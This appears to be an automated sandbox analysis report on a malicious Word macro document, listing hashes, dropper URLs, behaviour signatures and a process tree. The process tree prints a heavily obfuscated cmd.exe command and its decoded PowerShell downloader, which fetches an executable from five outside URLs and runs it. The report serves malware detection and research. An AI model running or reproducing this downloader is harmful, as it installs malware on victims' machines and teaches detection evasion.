Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 21:36

General

  • Target

    e33209146f95e8c43d6ded642235f842d70b5c568d7ca006d52c4195423a8594.doc

  • Size

    64KB

  • MD5

    d9a8f9f7a45dba6f6883e89189c71c9e

  • SHA1

    4da0ddb8fae437314db58089a38c50e5105e93b5

  • SHA256

    e33209146f95e8c43d6ded642235f842d70b5c568d7ca006d52c4195423a8594

  • SHA512

    83e21823dd9a1abffba2280ccfd6dcebdbb65ec27e80fe8d6d69c8dd9b7db1b73ac317bb29a30dc6542874aa84385b10148db9274903ed3ac7c0dfafe5b47663

  • SSDEEP

    768:KooRooooM6AoroooonooQoooVoooooIooNpJcaUitGAlmrJpmxlzC+w99NB33y/o:SptJlmrJpmxlRw99NBny/qJP8GjmuZ

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.muabangiup.com/I6gpE

exe.dropper

http://www.tekere.es/ce45TO3

exe.dropper

http://www.expressarsetelagoas.com.br/8tr1wP

exe.dropper

http://www.fix4pc.co.uk/GOjXqkw

exe.dropper

http://www.flora-lux.by/mJHgzFh

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e33209146f95e8c43d6ded642235f842d70b5c568d7ca006d52c4195423a8594.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3056
    • C:\Windows\SysWOW64\CMd.exe
      CMd /V^:^O/C"^s^e^t Z^5^I^A=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}^{hc^tac^}^;^k^a^er^b^;^A^m^d^$^ ^m^e^t^I^-^e^k^ovn^I^;)^A^m^d^$^ ^,^a^d^q$(^e^li^F^d^ao^ln^w^o^D^.^FCC^$^{^yr^t^{)DR^F^$^ n^i^ ^a^d^q^$(hc^a^er^o^f^;^'^e^xe^.^'^+VV^M^$^+^'^\^'+c^il^b^u^p^:vn^e^$^=^A^m^d^$^;'^5^36^'^ ^=^ VV^M^$^;)^'^@^'(^t^i^l^pS^.^'^h^F^z^g^H^J^m/^y^b^.^x^u^l^-^ar^o^l^f^.w^w^w//^:p^t^t^h^@^w^k^q^X^jO^G/k^u^.^oc^.c^p^4^xi^f^.^w^w^w//:^p^tt^h^@^Pw1r^t^8/r^b^.^m^oc^.^s^a^o^g^al^ete^sr^a^s^s^er^p^x^e^.w^w^w//^:p^t^t^h@3O^T^54^ec/^s^e^.^er^e^k^e^t^.^w^w^w//^:^p^t^t^h@^E^p^g^6^I/^m^oc^.^p^u^i^gn^a^ba^u^m.^w^w^w//^:^p^t^t^h^'^=^DR^F^$^;^tn^e^i^lC^b^e^W^.^t^eN^ ^tc^e^j^b^o^-^w^en^=^FCC^$ ^l^l^e^h^sr^ew^o^p&&^f^or /^L %^s ^in (^3^7^9^,^-^1^,^0)^d^o ^s^e^t ^U^2^y=!^U^2^y!!Z^5^I^A:~%^s,1!&&^i^f %^s=^=^0 c^a^l^l %^U^2^y:^~^-^3^8^0%"
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2748
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell $CCF=new-object Net.WebClient;$FRD='http://www.muabangiup.com/I6gpE@http://www.tekere.es/ce45TO3@http://www.expressarsetelagoas.com.br/8tr1wP@http://www.fix4pc.co.uk/GOjXqkw@http://www.flora-lux.by/mJHgzFh'.Split('@');$MVV = '635';$dmA=$env:public+'\'+$MVV+'.exe';foreach($qda in $FRD){try{$CCF.DownloadFile($qda, $dmA);Invoke-Item $dmA;break;}catch{}}
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2544
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2840

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/3056-0-0x000000002F621000-0x000000002F622000-memory.dmp

      Filesize

      4KB

    • memory/3056-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/3056-2-0x000000007106D000-0x0000000071078000-memory.dmp

      Filesize

      44KB

    • memory/3056-15-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/3056-25-0x0000000005E20000-0x0000000005F20000-memory.dmp

      Filesize

      1024KB

    • memory/3056-24-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/3056-13-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/3056-23-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/3056-10-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/3056-8-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/3056-7-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/3056-6-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/3056-5-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/3056-4-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/3056-21-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/3056-20-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/3056-28-0x000000007106D000-0x0000000071078000-memory.dmp

      Filesize

      44KB

    • memory/3056-29-0x00000000003E0000-0x00000000004E0000-memory.dmp

      Filesize

      1024KB

    • memory/3056-30-0x0000000005E20000-0x0000000005F20000-memory.dmp

      Filesize

      1024KB